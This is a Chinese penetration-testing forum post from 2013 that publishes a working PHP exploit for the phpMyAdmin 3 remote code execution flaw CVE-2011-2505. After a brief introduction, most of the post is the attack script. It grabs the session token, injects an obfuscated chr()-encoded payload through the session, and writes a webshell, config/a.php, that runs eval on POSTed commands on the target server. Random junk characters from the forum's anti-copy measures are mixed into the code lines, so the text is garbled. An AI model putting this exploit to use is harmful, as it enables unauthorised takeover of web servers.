中国网络渗透测试联盟

标题: phpadmin3 remote code execute php版本exploit [打印本页]

---

作者: admin    时间: 2013-2-21 09:13
标题: phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

8 ~9 F9 w" ]9 Z$ j' I# ^昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
# w6 |+ q7 C9 O* U3 t$ n
- N6 I5 t0 b1 E- V! B2 [' {首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
! ^) L: T1 D+ X( V2 ?% }, [一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
3 L4 ^7 N; {% e当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
9 `) [  V4 U9 u, G3 C
0 ~& l4 _! O1 |7 `: T+ @# @) d4 n在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
6 M& D  }( |6 S6 ~- M6 q
& D7 f: X$ R* ?) c7 G1 ?于是写了这个php版本的exp，代码如下：
9 o2 K# k6 W. b
% F4 Y0 a& m: h' O8 J#!/usr/bin/php
& q6 s# I' [+ E, m0 U5 _/ ^) l( k<?php
: K- J- z( V" X- Eprint_r('
! w- }. o; w, b4 K, \! U+---------------------------------------------------------------------------+
  X3 `" i9 B2 K( L/ Vpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
) b0 b9 ?" O8 F% H0 |& }8 j8 J+ hby oldjun(www.oldjun.com)
welcome to www.t00ls.net
, V/ b- u  C$ l$ y: ~mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
9 t' c* F! o+ q+---------------------------------------------------------------------------+
- A6 D1 ^2 k7 @# d');

0 Y9 T9 e! F$ Z+ V" S2 e; ?. V. f/**
* working when the directory:"config" exists and is writeable.
**/

  U$ G9 e+ x0 E8 I% A) G1 H9 h7 [if ($argc < 3) {
5 q' n% c6 H' X0 H  O9 s9 @    print_r('
! |0 d& B. u) g+---------------------------------------------------------------------------+
% x3 M  j$ G# A0 t1 ^9 |Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
, U+ @1 I. x' {/ Q- B! P% pExample:
$ _9 N* b' Q. I( k  `php '.$argv[0].' localhost /pma/
1 G3 A8 o0 z  l+ @9 `+---------------------------------------------------------------------------+
4 E( e6 k  h$ U6 F');
; m, @6 Z! a4 S3 x: ?: v+ W; K    exit;
' t: M) r' _' v: M# W}
3 _* V) `3 n# U
( q' e5 B7 _6 T5 @$ V. E9 |$host = $argv[1];
$path = $argv[2];
( u) m% K/ s% u: _, `
/**
5 ^  J4 Q( u) h6 P! F * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
/ M( C; G# w! O9 }. [4 g% D: lif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
3 N2 H' O0 b% O: m- m) }
, _9 ~3 [. s. P( p, X* B/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
7 Q% m3 \6 g  U0 [' Z; w/ q: {" c1 opreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
" U" e- \9 @7 i$ H7 N# w& L$token=$resp[3];
; J" W& m( J( ]0 X% y4 z5 U9 `$sessionid=$resp[1];
# ^( e6 I+ k  Oif($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

8 B# g, N8 u/ f* I2 e/**
& @& |; H8 _" N6 T0 v * Try to insert shell into session
2 n7 w: S  z. ]9 k. j**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
4 I' j# \: g  J" B
: H# F  M) Z, F) p" u2 m0 i/**
; D; F1 |8 g7 A8 u0 f * Try to create webshell
+ Z/ I8 b) W3 ^0 ?: T**/
! G9 q, z8 I! j2 ~/ cecho "[+] Try to create webshell....\n";
* A4 U+ ^3 Y# w# Zphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
. R) h. [" _4 s6 \( f**/
1 R6 Z' W+ k% Pecho "[+] Try to check if the webshell was created successfully....\n";
1 u) n) c: A: h- S4 M3 x$content=php_request('config/config.inc.php');
! h: s3 P0 `9 f' l+ qif(strpos($content,'t00ls')){
9 A0 b. ], U. W6 O    echo "[+] Congratulations! Expoilt successfully....\n";
1 ~8 h$ D+ W  a' d$ I    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
  A" n* u4 J, V" T7 ^/ E& C% L    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function php_request($url,$data='',$cookie=''){
4 W! D9 c' X0 l; l# j    global  $host, $path;
   
    $method=$data?'POST':'GET';
   
1 ~$ O, M% \# Q8 G7 g. s3 L) n& x    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
0 ]" P% V6 ~! u/ f- c    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
. g# z( j" e' {* c( r1 f; q, p- ?! |    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
. ?  k4 s% O8 g8 t$ H, ?: p  B7 H    if (!$fp) {
    echo 'No response from '.$host; die;
3 Z0 p, i  i1 d    }
( l( h: W+ E, O$ G4 E! u    fputs($fp, $packet);
; Q- h, m  K  \+ B' b& Q' p3 M
  Y4 {+ Z0 Z; T* p- L, ^0 w    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
  A+ Q! T. U. u: ]% o- d
) l7 T- u% b1 t2 P+ u, k    return $resp;
}
" i2 J2 y' a9 j* {8 y5 t' m   
?>
.

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2